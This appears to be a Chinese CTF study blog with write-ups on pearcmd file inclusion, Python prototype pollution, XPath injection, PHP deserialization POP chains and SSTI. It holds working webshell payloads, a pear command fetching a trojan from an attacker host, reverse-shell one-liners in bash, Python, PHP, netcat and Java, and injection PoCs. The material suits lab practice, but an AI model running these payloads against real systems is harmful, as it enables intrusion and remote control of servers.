Pearcmd文件包含

Pearcmd文件包含

总结一下pearcmd文件包含的利用方法,如果碰到PHP+文件包含可以往这个方向尝试一下

利用条件

  • 安装了pear扩展
  • php开启了register_argc_argv选项

Docker会默认安装pear扩展,也会自动开启register_argc_argv选项

原理

pear扩展是一个php下的命令行扩展管理工具,默认的安装路径是/usr/local/lib/php/pearcmd.php,在命令行下可以直接使用pear或者php /usr/local/lib/php/pearcmd.php运行,如果存在文件包含漏洞,则可以利用这个命令行工具

如果打开register_argc_argv这个选项的话,URL中?后面的内容会全部传入至$_SERVER['argv']这个变量内 ,无论参数中是否存在等号

pear扩展在pearcmd.php中会获取命令行参数

1
2
3
4
5
6
7
8
9
PEAR_Command::setFrontendType('CLI');
$all_commands = PEAR_Command::getCommands();

$argv = Console_Getopt::readPHPArgv();
// fix CGI sapi oddity - the -- in pear.bat/pear is not removed
if (php_sapi_name() != 'cli' && isset($argv[1]) && $argv[1] == '--') {
unset($argv[1]);
$argv = array_values($argv);
}

这里调用了readPHPArgv()函数获取命令行参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}

readPHPArgv()函数从$argv$_SERVER['argv']$GLOBALS['HTTP_SERVER_VARS']['argv']等获取变量,而$_SERVER['argv']是可控的变量。因此,可以利用pear获取通过GET方式上传的变量。

利用

使用**php:7.4-apache**这个官方镜像做测试

寻找可用的pear命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
Commands:
build Build an Extension From C Source
bundle Unpacks a Pecl Package
channel-add Add a Channel
channel-alias Specify an alias to a channel name
channel-delete Remove a Channel From the List
channel-discover Initialize a Channel from its server
channel-info Retrieve Information on a Channel
channel-login Connects and authenticates to remote channel server
channel-logout Logs out from the remote channel server
channel-update Update an Existing Channel
clear-cache Clear Web Services Cache
config-create Create a Default configuration file
config-get Show One Setting
config-help Show Information About Setting
config-set Change Setting
config-show Show All Settings
convert Convert a package.xml 1.0 to package.xml 2.0 format
cvsdiff Run a "cvs diff" for all files in a package
cvstag Set CVS Release Tag
download Download Package
download-all Downloads each available package from the default channel
info Display information about a package
install Install Package
list List Installed Packages In The Default Channel
list-all List All Packages
list-channels List Available Channels
list-files List Files In Installed Package
list-upgrades List Available Upgrades
login Connects and authenticates to remote server [Deprecated in favor of channel-login]
logout Logs out from the remote server [Deprecated in favor of channel-logout]
makerpm Builds an RPM spec file from a PEAR package
package Build Package
package-dependencies Show package dependencies
package-validate Validate Package Consistency
pickle Build PECL Package
remote-info Information About Remote Packages
remote-list List Remote Packages
run-scripts Run Post-Install Scripts bundled with a package
run-tests Run Regression Tests
search Search remote package database
shell-test Shell Script Test
sign Sign a package distribution file
svntag Set SVN Release Tag
uninstall Un-install Package
update-channels Update the Channel List
upgrade Upgrade Package
upgrade-all Upgrade All Packages [Deprecated in favor of calling upgrade with no parameters]
Usage: pear [options] command [command-options] <parameters>
Type "pear help options" to list all options.
Type "pear help shortcuts" to list all command shortcuts.
Type "pear help version" or "pear version" to list version information.
Type "pear help <command>" to get the help for the specified command.

有两种利用方法

config-create

这个命令需要两个参数

1
pear config-create /Diana /tmp/test.txt

第一个参数会被写入第二个参数所创建的文件中,我们可以利用这点写入PHP木马,然后利用文件包含漏洞包含木马文件即可

1
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/shell.php

写一个木马即可,然后连接Webshell

1
http://127.0.0.1/?file=/tmp/shell.php

install

这个命令会尝试下载文件,可以在自己的vps上挂一个木马

1
pear install http://[vps]:[port]/muma1.php

/tmp/pear/download/目录下有一个muma1.php

修改payload,使用--installroot指定下载目录

1
?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://[vps]:[port]/muma1.php

就可以实现传马了,文件目录是&file=/usr/local/lib/php/pearcmd.php\&/tmp/pear/download/muma1.php

DASCTF 2023 & 0X401七月暑期挑战赛

DASCTF 2023 & 0X401七月暑期挑战赛

EzFlask

考点:Python原型链污染,目录穿越,文件读取,Pin码计算

原型链污染参考链接

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
for i in black_list:
if i in data:
return False
return True

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class user():
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False

Users = []

@app.route('/register',methods=['POST'])
def register():
if request.data:
try:
if not check(request.data):
return "Register Failed"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data):
session["username"] = data["username"]
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"

@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read() #存在任意文件读取, 这里也暗示了可以污染__file__实现任意文件读取

if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010)

题目源代码,merge()函数暗示了可能存在原型链污染的漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
# 合并两个字典
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'): # 检查dst是否支持索引操作
if dst.get(k) and type(v) == dict: # 如果dst中已存在键k,并且对应的值非空且为字典类型
merge(v, dst.get(k)) # 递归地将v合并到dst[k]中
else:
dst[k] = v # 将src中的键值对直接赋值给dst
elif hasattr(dst, k) and type(v) == dict: # 检查dst是否具有名为k的属性,并且对应的值非空且为字典类型
merge(v, getattr(dst, k)) # 递归地将v合并到dst.k中
else:
setattr(dst, k, v) # 将src中的键值对作为名为k的属性添加到dst中

这个函数的功能是把src字典合并到dst字典中,如果dst列表中已经存在[k, v]键值对,则覆盖原键值对。如果dst列表中不存在[k, v]键值对,则创建新的[k, v]键值对。递归用于处理json中嵌套的对象

e.g.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//dst
{
"Father": "Ava",
"Mother":{
"name": "Diana",
}
}
//src
{
"Father": "Ava",
"Mother":{
"name": "Diana",
"gender": "female"
}
"Son": "Acao"
}
//合并后的字典dst
{
"Father": "Ava",
"Mother":{
"name": "Diana",
"gender": "female"
}
"Son": "Acao"
}

而Python存在许多内置属性,例如__globals____class____base__等等。可以形成链子,污染无继承的类属性甚至全局变量。

以下是两种污染方法

_static_folder属性

这个属性中存放的是flask中静态目录的值,默认该值为./static,如果污染该值,则可通过/static实现目录穿越。

访问flask下的静态资源的url为http://127.0.0.1/static/test,这实际上访问了test资源并返回,如果把该属性污染为/,也就是根目录。

那么http://127.0.0.1/static/etc/passwd等同于于http://127.0.0.1/etc/passwd,因此可以访问根目录下的文件。

原型链污染出动,Post访问/register路由注册用户

1
2
3
4
5
6
7
8
9
10
11
12
//Payload unicode编码绕过,不编码绕过可能会出现register failed的错误
{
"username":"D1anash1ba",
"password":"AvaDiana",
"__init_\u005f":{
"__globals__":{
"app":{
"_static_folder":"/"
}
}
}
}

__file__属性

1
2
3
4
5
6
7
8
9
{
"username":"D1anash1ba",
"password":"AvaDiana",
"__init_\u005f":{
"__globals__":{
"__file__":"/etc/passwd"
}
}
}

__file__属性是python自带的属性,审计源码可以发现网站根目录有read()函数

解题步骤

接下来就是读取文件,进行Pin码计算。

访问/static/etc/passwd/static/sys/class/net/eth0/address/etc/machine-id/proc/self/cgroup

这里有一个小坑,想要获取文件路径,只能使用第二种污染方法,通过污染__file__使得read()函数报错,从而获取路径。或者也可以直接猜测路径,更改以下python版本号试试。

image-20230812124507932

最后计算出Pin码,进入/console,读取flag

1

非预期解

读取/proc/1/environment,发现Flag在环境变量中。很多出题者会忘记这一点。

MyPicDisk

考点:XXE盲注,命令执行 || Phar反序列化,命令执行

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
<?php
session_start();
error_reporting(0);
class FILE{
public $filename;
public $lasttime;
public $size;
public function __construct($filename){
if (preg_match("/\//i", $filename)){
throw new Error("hacker!");
}
$num = substr_count($filename, ".");
if ($num != 1){
throw new Error("hacker!");
}
if (!is_file($filename)){
throw new Error("???");
}
$this->filename = $filename;
$this->size = filesize($filename);
$this->lasttime = filemtime($filename);
}
public function remove(){
unlink($this->filename);
}
public function show()
{
echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";
}
public function __destruct(){
system("ls -all ".$this->filename);
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>MyPicDisk</title>
</head>
<body>
<?php
if (!isset($_SESSION['user'])){
echo '
<form method="POST">
username:<input type="text" name="username"></p>
password:<input type="password" name="password"></p>
<input type="submit" value="登录" name="submit"></p>
</form>
';
$xml = simplexml_load_file('/tmp/secret.xml');
if($_POST['submit']){
$username=$_POST['username'];
$password=md5($_POST['password']);
$x_query="/accounts/user[username='{$username}' and password='{$password}']";
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登录失败';
}else{
$_SESSION['user'] = $username;
echo "<script>alert('登录成功!');location.href='/index.php';</script>";
}
}
}
else{
if ($_SESSION['user'] !== 'admin') {
echo "<script>alert('you are not admin!!!!!');</script>";
unset($_SESSION['user']);
echo "<script>location.href='/index.php';</script>";
}
echo "<!-- /y0u_cant_find_1t.zip -->";
if (!$_GET['file']) {
foreach (scandir(".") as $filename) {
if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
}
}
echo '
<form action="index.php" method="post" enctype="multipart/form-data">
选择图片:<input type="file" name="file" id="">
<input type="submit" value="上传"></form>
';
if ($_FILES['file']) {
$filename = $_FILES['file']['name'];
if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
die("hacker!");
}
if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
} else {
die('failed');
}
}
}
else{
$filename = $_GET['file'];
if ($_GET['todo'] === "md5"){
echo md5_file($filename);
}
else {
$file = new FILE($filename);
if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
echo "<img src='../" . $filename . "'><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
} else if ($_GET['todo'] === "remove") {
$file->remove();
echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
} else if ($_GET['todo'] === "show") {
$file->show();
}
}
}
}
?>
</body>
</html>

解题步骤(XXE盲注)

看到输入框,先尝试admin弱口令,发现输入admin'可以继续跟进,发现/y0u_cant_find_1t.zip路由,获取源代码。

万用密码username=a' or 1 or '1&password=a

2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// XML查询数据
$xml = simplexml_load_file('/tmp/secret.xml');
if($_POST['submit']){
$username=$_POST['username'];
$password=md5($_POST['password']);
$x_query="/accounts/user[username='{$username}' and password='{$password}']";
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登录失败';
}else{
$_SESSION['user'] = $username;
echo "<script>alert('登录成功!');location.href='/index.php';</script>";
}
}

这段代码可以看到,usernamepassword都存储在/tmp/secret.xml中,因此需要使用XXE盲注获取admin的密码。只有登陆了admin的账号才可以进行文件上传。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import time
url = "http://419a2e70-da77-4fdf-a56c-7a4b096b8645.node4.buuoj.cn:81/index.php"
dicts = '0123456789abcdefghijklmnopqrstuvwxyz' #md5加密结果没有大写字母, 如果需要爆破路径则加上A-Z
ans = ''
#XPath的函数是从1开始计数的, 例如substring()
for i in range(1, 100):
for j in dicts:
#本题知道xml的结构, 也知道用户名是admin, 所以只需要盲注猜测密码即可。
#注意单引号的闭合,最后的查询语句如下所示
#"/accounts/user[username='<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}' or ''='' and password='{$password}']";
payload_password = "<username>' or substring(/accounts/user[1]/password/text(), {}, 1) = '{}' or ''='".format(i, j)
data = {
"username":payload_password, #username可控
"password":"Ava",
"submit":"Diana"
}
#print(payload_password)
time.sleep(0.1) #防止请求过快
res = requests.post(url=url, data=data)
#print(res.text)
if "登录成功!" in res.text:
ans += j
print(ans)
break
if '登录失败' in res.text:
break
print(ans)
print("End!")

最后得到md5加密后的密码003d7628772d6b57fec5f30ccbc82be1,解密得到原密码15035371139

登录后就是一个网盘系统,可以上传文件,重点关注一下代码,命令拼接可以rce。

1
2
3
public function __destruct(){
system("ls -all ".$this->filename);
}

拼接命令注入,payload:;echo bHMgLwo|base64 -d|bash;123.jpg。这条payload将base64加密后的ls /交给base64 -d命令执行,解密后的结果作为输入给bash执行。注意使用;分隔不同的命令。

访问超链接即可执行命令(源代码自定义了一个FILE类,需要访问来创建这个类的实例,并在最后自动回收触发__destruct__()函数才能rce)

得到flag文件名adjaskdhnask_flag_is_here_dakjdnmsakjnfksd,修改命令再次发包。

payload:;echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash;123.jpg

解题步骤(Phar反序列化漏洞)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class FILE{
public $filename=";echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash -i>4.txt";
public $lasttime;
public $size;
public function remove(){
unlink($this->filename);
}
public function show()
{
echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";
}
}

#获取phar包 固定流程
$phar = new Phar("abc.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");

$o = new FILE();
$phar->setMetadata($o); //自定义meta-data
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

ez_cms

考点:文件包含,pearcmd写WebShell

pearcmd的利用

标准格式payload

1
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/shell.php

不过并不是所有pear都在上述payload路径下,例如本题就在/usr/share

1
/admin/index.php?+config-create+/&r=../../../../../../../../../../usr/share/php/pearcmd&/<?=eval($_POST[cmd]);>+../../../../../../../../tmp/shell.php

burpsuite发包写webshell,蚁剑连接

1
http://024706da-30e8-418a-9871-0d5628438b6e.node4.buuoj.cn:81//admin/index.php?r=../../../../../../../../tmp/shell

在根目录下找到flag

ez_py

session pickle反序列化

一坨 复现不了

反弹Shell

反弹Shell

1 正向连接

1.1 应用场景

被控端端口无限制,存在命令执行漏洞

1.2 操作指令

1.2.1 被控端为Linux系统

1
2
3
4
# 被控端Linux
nc -lvp -e [port(8888)] /bin/bash
# 控制端
nc [ip] [port(8888)]

1.2.2 被控端为Windows系统

1
2
3
4
# 被控端Window
nc -lvp [port(8888)] -e powershell
# 控制端
nc [ip] [port(8888)]

2 反向连接(常用)

2.1 应用场景

需要控制端链接到公网ip

2.2 操作指令

2.2.1 被控端为Linux系统

1
2
3
4
# 控制端
nc -lvp 8888
# 被控端
nc [公网ip] 8888 -e /bin/bash

2.2.2 被控端为Windows

1
2
3
4
# 控制端
nc -lvp 8888
# 被控端
nc [公网ip] 8888 -e powershell

2.3 反向连接命令(记得改一下IP和端口)

Bash

1
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Python

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

1
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Netcat

1
nc -e /bin/sh 10.0.0.1 1234

Java

1
2
3
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

更多命令

例题 [CISCN 2023 华北]pysym

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from flask import Flask, render_template, request, send_from_directory
import os
import random
import string
app = Flask(__name__)
app.config['UPLOAD_FOLDER']='uploads'
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/',methods=['POST'])
def POST():
if 'file' not in request.files:
return 'No file uploaded.'
file = request.files['file']
if file.content_length > 10240:
return 'file too lager'
path = ''.join(random.choices(string.hexdigits, k=16))
directory = os.path.join(app.config['UPLOAD_FOLDER'], path)
os.makedirs(directory, mode=0o755, exist_ok=True)
savepath=os.path.join(directory, file.filename)
file.save(savepath)
try:
os.system('tar --absolute-names -xvf {} -C {}'.format(savepath,directory))
except:
return 'something wrong in extracting'

links = []
for root, dirs, files in os.walk(directory):
for name in files:
extractedfile =os.path.join(root, name)
if os.path.islink(extractedfile):
os.remove(extractedfile)
return 'no symlink'
if os.path.isdir(path) :
return 'no directory'
links.append(extractedfile)
return render_template('index.html',links=links)
@app.route("/uploads/<path:path>",methods=['GET'])
def download(path):
filepath = os.path.join(app.config['UPLOAD_FOLDER'], path)
if not os.path.isfile(filepath):
return '404', 404
return send_from_directory(app.config['UPLOAD_FOLDER'], path)
if __name__ == '__main__':
app.run(host='0.0.0.0',port=1337)

savepath的值是可控的

很明显的命令执行漏洞,利用文件名命令执行

1
os.system('tar --absolute-names  -xvf {} -C {}'.format(savepath,directory))
1
2
#payload
test.txt || echo Your_Reverse_Shell_Code | base64 -d | bash ;

PHP反序列化与一些例题

PHP反序列化与一些例题

反序列化函数触发条件

题目一 空变量绕过

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
highlight_file(__FILE__);

class ease{

private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}

function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);# 2
}
}

function ping($ip){
exec($ip, $result); # 1
var_dump($result);
}

function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}

function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

poc

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping", array("ca$@t\$IFS$9`find`"));
echo base64_encode(serialize($a));
?>

$@空变量 $IFS$9空格 find命令查看当前及子目录下的所有文件

题目二 绕过正则匹配/[oc]:\d+/i

1
2
3
4
5
if (preg_match('/[oc]:\d+:/i', $var)) { 
die('stop hacking!');
} else {
@unserialize($var);
}

利用加号绕过

1
O:+4......略

题目三 pop链

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php
error_reporting(0);
//flag is in f14g.php
class Popuko {
private $No_893;
public function POP_TEAM_EPIC(){
$WEBSITE = "MANGA LIFE WIN";
}
// 1、__invoke 当以函数的方式调用对象实例的时候触发
// $this->No_893 = php://filter/read/convert.base64-encode/resource=f14g.php
public function __invoke(){
$this->append($this->No_893);
}
public function append($anti_takeshobo){
// 终点
include($anti_takeshobo);
}
}

class Pipimi{

public $pipi;
public function PIPIPMI(){
$h = "超喜欢POP子ww,你也一样对吧(举刀)";
}
public function __construct(){
echo "Pipi美永远不会生气ww";
$this->pipi = array();
}
// 2.此处当作函数执行 也就是 $this->p=new Popuko();
// __get 当访问不可访问或者不存在的属性是触发
public function __get($corepop){
$function = $this->p;
return $function();
}
}
class Goodsisters{

public function PopukoPipimi(){
$is = "Good sisters";
}

public $kiminonawa,$str;

public function __construct($file='index.php'){
$this->kiminonawa = $file;
echo 'Welcome to HNCTF2022 ,';
echo 'This is '.$this->kiminonawa."<br>";
}
// 3.此处当作访问不存在的属性(Pipimi类的) 也就是 $this->str=new Pipimi();
// Pipimi类中并不存在kiminonawa
// __toString 以字符串方式调用对象实例触发
public function __toString(){
return $this->str->kiminonawa;
}

// 4.此处$this->kiminonawa触发 $this->kiminonawa=new Goodsisters();
public function __wakeup(){
if(preg_match("/popzi|flag|cha|https|http|file|dict|ftp|pipimei|gopher|\.\./i", $this->kiminonawa)) {
echo "仲良ピース!";
$this->kiminonawa = "index.php";
}
}
}

if(isset($_GET['pop'])) @unserialize($_GET['pop']);

else{
$a=new Goodsisters;
if(isset($_GET['pop_EP']) && $_GET['pop_EP'] == "ep683045"){
highlight_file(__FILE__);
echo '欸嘿,你也喜欢pop子~对吧ww';
}
}

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
//flag is in f14g.php
class Popuko {
private $No_893;
public function __construct(){
$this -> No_893 = "php://filter/read/convert.base64-encode/resource=f14g.php";
}
}
class Pipimi{
public $p;

}
class Goodsisters{
public $kiminonawa, $str;
}
$a = new Goodsisters();
$b = new Pipimi();
$c = new Popuko();
$a -> kiminonawa = $a;
$a -> str = $b;
$b -> p = $c;
echo urlencode(serialize($a));

pop链,步步为营,触发下一个函数

题目四 字符串逃逸(增多)

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
function waf($str){
return str_replace("bad","good",$str);
}

class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}
//";s:3:"cmd";s:2:"ls";}

//badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}
//字符串逃逸

$b = waf(serialize(new GetFlag($key='badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}')));
unserialize($b);

每一个bad转化为good会增加一个字符的空间,可以通过waf()修改类的属性,需要增加的字符数和bad的个数相等

题目六 快速反序列化 fast __destruct()

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
highlight_file(__FILE__);

class Start{
public $errMsg;
public function __destruct() {
die($this->errMsg);
}
}

class Pwn{
public $obj;
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}

class Reverse{
public $func;
public function __get($var) {
($this->func)();
}
}

class Web{
public $func;
public $var;
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}

class Crypto{
public $obj;
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}

class Misc{
public function evil() {
echo "good job but nothing";
}
}

$a = @unserialize($_POST['fast']);
throw new Exception("Nope");

pop链很清晰

1
2
3
4
5
6
7
8
$a = new Start();
$a->errMsg = new Crypto();
$a->errMsg->obj = new Reverse();
$a->errMsg->obj->func = new Pwn();
$a->errMsg->obj->func->obj = new Web();
$a->errMsg->obj->func->obj->func="system";
$a->errMsg->obj->func->obj->var="cat /fl$@ag"; // 过滤了flag 空变量绕过即可
echo serialize($a);

刚开始看题意还以为是条件竞争,写了个爆破脚本(

后来发现题目的意思是fast __destruct(), unserialize()出来的对象,如果赋值给了一个变量,那么这个对象的析构函数会到程序结束时执行,因此在这道题中无法绕过最后的异常抛出。如果单独执行unserialize()函数,那么反序列化出来的对象会在这条语句结束后立刻销毁。

这道题需要我们快速执行__destruct()函数进行命令执行,我们可以把末尾的}去掉一个

本质上,fast destruct 是因为unserialize过程中扫描器发现序列化字符串格式有误导致的提前异常退出,为了销毁之前建立的对象内存空间,会立刻调用对象的__destruct(),提前触发反序列化链条

1
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:11:"cat /fl$@ag";}}}}}

最后的payload

1
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:11:"cat /fl$@ag";}}}}

PHP反序列化冷知识

ctfshow-SSTI

SSTI模板注入

参考文档

SSTI进阶:https://blog.csdn.net/miuzzx/article/details/110220425

SSTI入门

SSTI,服务端模板注入,其实也就是模板引擎+注入,那么我们首先需要了解一下模板引擎。

模板只是一种提供给程序来解析的一种语法,通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将塞进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。

常见的模板引擎如下

1
2
3
PHP: Smarty, Twig, Blade
JAVA: JSP, FreeMarker, Velocity
Python: Jinja2, django, tornado

Flask框架

Flask框架使用的模板是Jinja2,在给出模板渲染代码之前,我们先在本地构造一个html界面作为模板,也就是模板渲染代码的相同位置下,有一个名templates的文件夹,在里面写入一个index.html文件,内容如下:

1
2
3
4
5
6
7
8
9
<!DOCTYPE html>
<html lang="en">
<head>
<title>SSTI</title>
</head>
<body>
<h3>Hello,{{name}}!</h3>
</body>
</html>
"{{}}"中的name即为需要渲染的变量,此时我们写我们的模板渲染代码(app.py),内容如下:
1
2
3
4
5
6
7
from flask import *
app = Flask(__name__)
def index():
query = request.args.get("name")
return render_template('index.html', name = query)
if __name__ == "__main__":
app.run(port = 1211, debug=True)

Get方式提交参数?name=Diana运行即可

SSTI成因

如果程序员偷懒,把两个文件合并到一个文件中,就会导致SSTI注入漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from flask import Flask,request,render_template_string
app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
name = request.args.get('name')
template = '''
<html>
<head>
<title>SSTI</title>
</head>
<body>
<h3>Hello, %s !</h3>
</body>
</html>
'''% (name)
return render_template_string(template)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)

此时如果传入?name=21则会出现

这是因为"{{}}"包裹的内容会被渲染,3*7被当作了一个python表达式进行计算,计算的结果被格式化输出到%s处,最后导致显示结果为Hello,21!

Python语法知识

SSTI中可能用到的语法知识

下划线包裹的是魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__class__           查看对象所在的类
__mro__ 查看继承关系和调用顺序,返回元组
__base__ 返回基类
__bases__ 返回基类元组(Tuple)
__subclasses__() 返回子类列表(List)
__init__ 调用初始化函数,可以用来跳到__globals__
__globals__ 返回函数所在的全局命名空间所定义的全局变量,返回字典
__builtins__ 返回内建内建名称空间字典
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx())都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
